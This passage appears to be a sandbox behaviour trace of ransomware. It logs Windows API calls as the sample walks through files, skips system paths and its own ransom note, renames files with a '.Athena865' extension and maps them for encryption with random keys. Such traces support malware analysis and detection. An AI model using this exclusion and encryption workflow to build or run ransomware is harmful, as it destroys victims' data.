dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1020) returned 0x100000 [0099.796] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.797] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.797] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.797] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.798] CloseHandle (hObject=0x154) returned 1 [0099.798] CloseHandle (hObject=0x17c) returned 1 [0099.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.798] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe00c10f0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe00c10f0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe00c10f0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", cAlternateFileName="{90696~1")) returned 1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.798] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.799] lstrlenW (lpString="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp") returned 57 [0099.799] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp" | out: lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp") returned="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp" [0099.799] lstrlenW (lpString="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp") returned 57 [0099.799] lstrlenW (lpString="Athena865") returned 9 [0099.799] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.799] lstrlenW (lpString=".dll") returned 4 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.799] lstrlenW (lpString=".lnk") returned 4 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.799] lstrlenW (lpString=".ini") returned 4 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.799] lstrlenW (lpString=".sys") returned 4 [0099.799] lstrcmpiW (lpString1="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.799] lstrlenW (lpString="{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp") returned 57 [0099.799] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp.Athena865") returned 120 [0099.799] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{9069688d-befb-4294-b8a6-15447e1f812d}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{9069688d-befb-4294-b8a6-15447e1f812d}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.800] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{9069688d-befb-4294-b8a6-15447e1f812d}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{9069688d-befb-4294-b8a6-15447e1f812d}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.800] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=944) returned 1 [0099.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.801] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.801] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.801] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.801] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b0, lpName=0x0) returned 0x154 [0099.803] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b0) returned 0x100000 [0099.804] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.805] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.805] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.805] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.806] CloseHandle (hObject=0x154) returned 1 [0099.806] CloseHandle (hObject=0x17c) returned 1 [0099.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.806] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x3c0ad280, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3c0ad280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c0ad280, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xd50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", cAlternateFileName="{A8F69~1")) returned 1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.806] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.806] lstrlenW (lpString="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp") returned 57 [0099.806] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp" | out: lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp") returned="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp" [0099.806] lstrlenW (lpString="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp") returned 57 [0099.806] lstrlenW (lpString="Athena865") returned 9 [0099.806] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.807] lstrlenW (lpString=".dll") returned 4 [0099.807] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.807] lstrlenW (lpString=".lnk") returned 4 [0099.807] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.807] lstrlenW (lpString=".ini") returned 4 [0099.807] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.807] lstrlenW (lpString=".sys") returned 4 [0099.807] lstrcmpiW (lpString1="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.807] lstrlenW (lpString="{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp") returned 57 [0099.807] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp.Athena865") returned 120 [0099.807] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.808] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.808] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3408) returned 1 [0099.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.808] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.809] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.809] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.809] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1050, lpName=0x0) returned 0x154 [0099.811] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1050) returned 0x100000 [0099.812] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.812] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.812] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.813] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.813] CloseHandle (hObject=0x154) returned 1 [0099.813] CloseHandle (hObject=0x17c) returned 1 [0099.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.814] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x40aae300, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x40aae300, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x40aae300, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", cAlternateFileName="{B46F4~1")) returned 1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.814] lstrlenW (lpString="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp") returned 57 [0099.814] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp" | out: lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp") returned="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp" [0099.814] lstrlenW (lpString="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp") returned 57 [0099.814] lstrlenW (lpString="Athena865") returned 9 [0099.814] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.814] lstrlenW (lpString=".dll") returned 4 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.814] lstrlenW (lpString=".lnk") returned 4 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.814] lstrlenW (lpString=".ini") returned 4 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.814] lstrlenW (lpString=".sys") returned 4 [0099.814] lstrcmpiW (lpString1="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.814] lstrlenW (lpString="{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp") returned 57 [0099.815] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp.Athena865") returned 120 [0099.815] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.816] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.816] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3112) returned 1 [0099.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.816] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.817] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.817] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.817] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf30, lpName=0x0) returned 0x154 [0099.819] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf30) returned 0x100000 [0099.822] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.822] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.823] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 